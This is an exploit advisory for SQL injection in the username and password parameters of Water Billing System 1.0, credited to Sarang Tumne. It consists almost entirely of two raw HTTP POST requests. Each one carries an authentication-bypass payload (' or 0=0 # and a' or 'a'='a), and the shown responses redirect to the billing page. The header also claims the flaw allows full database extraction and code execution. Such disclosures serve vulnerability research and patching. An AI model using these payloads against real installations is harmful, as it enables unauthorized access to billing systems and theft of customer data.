Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection

# Exploit Title: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection
# SQL Injection in  'username' and 'password' parameters allows attacker to run the SQL commands on the victim to extract entire DB. In advanced exploitation, an attacker can run the arbitrary code on the victim system to compromise it...
# Exploit Author: Sarang Tumne (CyberInsane)
# Date: 4th Nov, 2020
# Confirmed on release 1.0
# Tested on: Windows Server 2016- XAMPP
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html
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POST /wbs/process.php HTTP/1.1
Host: 192.168.56.102:8080
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.102:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.56.102:8080/wbs/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username='%20or%200%3d0%20#&password=password

Response:

HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 04:30:51 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
X-Powered-By: PHP/7.2.30
Set-Cookie: PHPSESSID=4q8t10sshr36he7sl19hb563a0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Connection: close
Content-Type: text/html; charset=UTF-8

<script>windows: location="billing.php"</script>
=========================================================================
POST /wbs/process.php HTTP/1.1
Host: 192.168.56.102:8080
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.102:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.56.102:8080/wbs/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=admin&password=a'%20or%20'a'%20%3d%20'a

Response:
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 04:30:49 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
X-Powered-By: PHP/7.2.30
Set-Cookie: PHPSESSID=34a478h4bhtliatg8l71kmp10r; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Connection: close
Content-Type: text/html; charset=UTF-8

<script>windows: location="billing.php"</script>